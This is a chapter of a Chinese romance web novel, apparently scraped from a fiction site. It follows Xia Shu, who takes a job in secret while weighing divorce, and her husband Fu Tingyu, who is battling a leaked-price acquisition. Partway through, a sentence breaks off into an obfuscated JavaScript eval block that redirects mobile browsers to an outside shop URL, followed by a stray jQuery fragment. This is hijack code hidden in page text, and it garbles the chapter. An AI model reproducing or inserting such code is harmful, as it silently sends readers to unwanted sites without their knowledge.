第二天夏纾早早醒来,身旁的傅廷御还在熟睡之中,呼吸轻浅。
看着他睡得毫无防备,眉眼柔和得如同孩童,她忍不住用手轻轻抚过他的眉毛。
平时跟外人总是一脸严肃,日常一刻不得闲。此刻的你,才得到了真正的放松吧。
随后抽回了手,脑子里不敢细想要是跟他坦白离婚,他会如何自处?
不想了,先去工作。
她怕动静太大吵醒他,于是小心翼翼、蹑手蹑脚地掀开被子,打算简单洗漱收拾,赶去上班。
她刚一动身,一只温热有力的长臂突然伸出,精准扣住她的腰,轻轻一收,就将她拽回了温暖的被窝里,牢牢圈在怀中。
傅廷御的嗓音慵懒:“怎么不多睡会。今天我不去公司,一天都可以陪你。”
夏纾被他抱得动弹不得,只能实话实话:“我要去上班,再晚就要迟到了!”
傅廷御沉默了一秒,误以为自己听错了:“什么?”
夏纾凑到他耳边,又重复一遍。
这句话瞬间打散了傅廷御大半睡意。
他倏然睁开眼睛,一脸错愕与不解,微微撑起身子看着她:
“什么?——上班?”
在他诧异的目光里,夏纾认认真真点头,郑重又笃定地说:“我最近找了个工作,在做策划。”
傅廷御愣了两秒,随即笑出声来。
他看着眼前一本正经的老婆,只觉得单纯无害,可爱得不像话。竟然瞒着自己找了个工作,怪不得自己在美国公办两个多月,都没怎么主动找过他,孩子静悄悄,必定在作妖。
像小孩子一时兴起的新鲜念头。
他指尖轻轻刮了下夏纾的脸颊,带着戏谑又宠溺的笑意说道:“老婆,你这是在角色扮演?还是在过家家呢?”
夏纾立刻皱起眉,瞪大双眼,一脸真诚地说:“我没有开玩笑,我是很认真在上班。”
“不跟你说了,我真的要迟到了,先去上班了。”说完匆匆挣开他的怀抱。
傅廷御慵懒地靠在床头,看着她慌慌张张起身收拾的背影,嘴角弧度又提高了几度,更觉得幼稚可爱。
不过他心里还是有点可惜,今天休息,本来可以享受下二人世界。
看着老婆煞有介事的模样,他也舍不得扫她的兴,不想打碎她的热忱与认真。
由着她吧。
傅廷御温柔的眼神一直跟随着老婆,最后夏纾关上了门,他才继续补觉。
过了一会儿,手机铃声突兀响起,打破了室内的安静。
来电是助理大伟。
傅廷御被吵醒,眼睛微睁,接起电话,嗓音低沉严肃:“说。”
电话那头大伟压低声音:“傅总,出突发状况了,MTA收购案出现新变动,对方临时反悔,明确表示拒绝按期签约。”
男人眉峰骤然蹙紧,闪过一丝不可置信。
MTA收购案,是他现阶段在卓曜集团最重要的一战,前前后后已经部署很久了,去美国也是因为这场交易。
父亲年事已高,身体也不好,权力交接迫在眉睫,这几年,他与二哥傅临风的较量早已进入白热化。
顺利拿下MTA收购案,能让卓曜集团按照他的理念发展,未来,他才能顺势拿下CEO的位子。
“怎么回事?”傅廷御冷冷问道,“所有条款早就对接敲定好了,为什么临时反悔?”
“暂时没有官方解释。”大伟快速汇报,“程副董已经到公司了。”
傅廷御没再多言,利落挂断电话,起身穿戴,驱车赶往卓曜总部。
顶层总裁办公室内,副董事程元正已经等待多时了。
他是集团元老,资历深厚,是董事会成员中明面上站队傅廷御的人,这也是被傅董事长,也就是傅廷御父亲所默许的。为继承人们配备集团元老,是接班的基本操作。可以说,程元正和傅廷御利益完全一致。
见傅廷御推门而入,程元正当即起身,面色凝重地开口:“廷御,MTA那边,确定拒签了。”
傅廷御重重吐了口气,怒火直窜,低低爆了一句粗口。
现在不是发火的时候,他压下心头怒火,问道:“他们想要什么?坐地起价?”
程元正点了点头,说道:“有人提前泄露了我们卓曜的底价。MTA那边摸清了我们的底线,故意拖延拒签,一是想趁机抬价,二是借着这次收购拉高自身市场估值。就算最后和我们交易失败,他们也稳赚不亏,反而能吸引更多新资本入局竞价。”
“好手段。”
傅廷御额角青筋暴起,沉默的怒火熊熊燃烧,周围空气仿佛凝结了。
底价属于收购案的最高机密,知道的没几个。
能精准泄露消息,掐准时间透底给MTA,只有傅临风。
傅临风是看准了这次收购是他夺权的关键,不顾集团利益,将他一军。
傅廷御立刻说道:“不能跟他们耗,不能拖。”
他仅仅思考了几秒,立即定下了最终方案,果断地说:“把收购价直接抬到1.5亿美金。一次性给到诚意,速战速决,不给他们继续拉扯的机会,联系投行,卓曜让利,切断MTA的融资,倒逼MTA签约。”
程叔听完,心中暗服。没想到,这小子短短几年,进步得这么快。示意完,便出门安排对接了。
办公室内只剩傅廷御一人,压抑的怒火彻底爆发。
他抬手拿起桌边昂贵的艺术品,砸向办公室玻璃幕墙。
傅临风。
这笔账,他记下了。
夏纾这边,展会进行地如火如荼。
今天是正式开展的日子,场馆人特别多,比昨天验收还要忙上几倍。
夏纾满场跑,脚步几乎没有停下过。
她在各个展区来回穿梭,协调突发问题,对接参展商需求,好在经过这段时间的学习,她也适应了这样的节奏,越来越游刃有余。
主管看到她的能力,简直如获至宝,难得碰上个美貌与实力并存的员工,升职,指日可待。
中午休息时,她刚停下脚步喘口气,一抬眼,便撞见了不远处的林澈。
他今天作为施工方留守盯场,以保障展会顺利运行。
两人目光相撞,各自先是一惊。
不同于昨天久别重逢的尴尬局促,今天都平和坦然很多。
林澈率先走过来,带着温和的笑意,真诚地说:“珊,恭喜你。”
夏纾回以微笑:“恭喜我什么?”
他感慨道:“现在的你,完全是你大学时最想成为的样子。”
她没想到他会这么说,提到大学,她的脸有点泛红,一句话瞬间把她拉回旧日时光。
她还记得读书的时候,自己就格外羡慕TVB的职场女性,总觉得她们拿着工作本本、从容指挥的样子,又飒又酷。
那时候她还特意跟林澈、黄雨婷念叨,以后也要成为那样的人。
“笨蛋。”夏纾凑近半步,压低声音带着几分俏皮:“跟你说个秘密,别被我现在的样子骗了,我入行才三个月,这阵子才刚转正没多久。”
她浅浅笑着,坦诚又可爱:“我很多职场技巧,都是雨婷手把手教我的,没想到还把你唬住了。”
林澈听她这么说,微微错愕,不过细想也合理,跟傅廷御在一起,确实不需要工作了,只是为什么,这几个月又开始找工作了?
他强行切断自己的发散猜测,而后认真地对夏纾说:
“不是唬住我。你本来就很优秀,只要给你舞台,你就一定能发光。”
他的目光坦荡又赤诚,与其他人的客套敷衍完全不同。
夏纾被这份真挚的夸赞打动,心里暖暖的。
她重重点了点头,回应道:“谢谢。”
“你继续忙,加油。”林澈看着她,轻声说。
两人相视一笑,无需多言,各自转身继续忙碌手头的工作去了。
工作一天结束,夏纾拖着一身疲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699918|208114||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惫回到家,却一点儿不累。
心里藏着满满的成就感,迫切想与最亲近的人分享,这可是自己首次圆满完成大型展会。
连鞋都没来得及仔细换好,她踩着拖鞋就兴冲冲地冲上二楼书房。
夏纾一把推开书房的门。
傅廷御正端坐在办公桌前,脊背挺直,冷漠严肃。
明明没开空调,室内却阴嗖嗖的。
惨白的光线落在他冷峻的侧脸上,他眉头紧锁,指尖捏着钢笔,另一只手在翻阅着什么,桌上是密密麻麻的并购文件,整个人沉在压抑的工作情绪里,浑身写满了生人勿近。
听见动静,他抬头的瞬间,看见自己老婆,戾气压下去了大半。
“老公!”嗓音甜甜的。
夏纾完全没意识到周围逼人的寒气,一脸雀跃地奔向傅廷御。
她从侧面一把抱住傅廷御,黏糊糊地贴在他身上。
傅廷御看她难得主动,放下钢笔,抬手揽住她的腰,轻轻一带,稳稳将她抱坐到自己腿上。
夏纾仰着小脸,笑意溢满了亮晶晶的眼睛,她说:“我今天超厉害的!展会第一天完美成功,全程没有出一点差错!”
她絮絮叨叨地分享着现场的趣事,还有自己圆满完成工作的成就感,像个天真的小孩子。
傅廷御看着她,心底一软,虽然还被收购案的事情烦着,还是给予她回应:“嗯,小纾好棒。”
“我之前还怕自己经验不够撑不下来,结果今天忙完发现,我真的进步好多!”夏纾丝毫没察觉他的低气压,继续兴致勃勃地说着。
“挺好。”傅廷御抬手揉了揉她的头,语气平淡,依旧只把她当小孩子哄,虽然尽力听她讲述,但忍不住心不在焉。
夏纾这才察觉到他的不感兴趣。
浓烈的喜悦一点点冷却,她的絮絮叨叨慢慢停了下来。
她后知后觉他的低气压,还有他隐秘的敷衍。
她忽然就明白了。
对她来说,这场顺利落地的展会,是自己入行转正后的第一次大突破,是值得开心、值得骄傲的大事。可对于傅廷御来说,这些事情,太过微不足道,根本就是小儿科,不值一提。
他们的对话不尴不尬,氛围别扭。
类似的场景时有发生,就是这种不同频,一次又一次向夏纾验证,就算两人是相爱,也消耗心力。
看来自己想的果然没错。
离婚,是多么明智的选择。
她知道,他根本没在事业上平等看她,只把她当作小孩子一样哄着。
傅廷御揉了揉眉心,开口转移了话题:“对了,明天是老爷子的生日宴。”
他顿了顿,继续补充道:“傅家人都会到场,老婆你明天和我一起出席。”
夏纾眼里闪过一丝抵触:“我……不太想去。”
傅廷御的父亲非常强势独裁,再加上他们家的家庭成分更是复杂。这种场合对傅廷御自己来说都很折磨,何况是对于完全不被傅家人接纳的夏纾,痛苦加倍。
傅廷御看着她,知道她的顾虑,语气认真地说:“没关系小纾,你不想去也可以不去。”
她思索了几秒,反正未来要离婚了,就算跟这些人都撕破脸又怎么样。
她现在是傅廷御合法登记的妻子,是名正言顺的傅家太太。
那些看不起她、暗自嘲讽她的人,她偏要大大方方站在那里,坦然赴宴,好好气一气这些人。
凭什么是她躲躲藏藏。
“不,我要去。”夏纾改变态度,眼神坚定。
傅廷御没想到,他的小白花也有这么倔强的一天,没了从前面对这种事的局促胆怯,取而代之的是一股不服输的韧劲。
他真的快忘了,他第一天遇见的夏纾,就是这么倔强勇敢。
反倒是在一起的这三年,因为拥有后变得有恃无恐,过去的样子逐渐模糊,自以为是给她安上不属于她的人设。
其实,她的底色,从来没变。